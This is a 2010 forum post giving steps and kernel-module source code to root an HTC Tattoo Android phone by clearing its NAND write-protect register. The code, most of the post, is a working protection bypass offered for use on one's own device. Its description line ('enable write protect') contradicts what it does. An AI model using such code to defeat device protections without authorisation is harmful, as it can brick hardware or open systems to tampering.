pyth0n3 Posted August 1, 2010 Report Posted August 1, 2010 Exploit an unpatched bug for 2.6.29 kernel version of htc android based to get rootThis flaw was found by xda-developersThis procedure can be also automated by writting a script in some programming languageVideo ===>>> Watch onlineVideo ===>>> Download videoTools download:Android SDK ===>>> Download hereTat00hack ===>>> Download hereExploit source code#include <linux/module.h>#include <linux/kernel.h>#include <linux/delay.h>#include <linux/errno.h>#include <linux/io.h>int __init unprotect_nand(void){ int* addr; printk("Hack: unprotecting Tattoo system partition\n"); addr = ioremap(0xA0B00000, 0x1000); if (addr) { printk("NAND protect value 0x%X\n", *addr); *addr = 0; iounmap(addr); } printk("Done - now be extremly careful!!!\n"); return 0;}void __exit unprotect_nand_exit(void){ printk("unprotect nand modukle exit!\n");}module_init(unprotect_nand);module_exit(unprotect_nand_exit);MODULE_DESCRIPTION("Tattoo hack - enable write protect");MODULE_AUTHOR("bool_s");MODULE_LICENSE("GPL");G Quote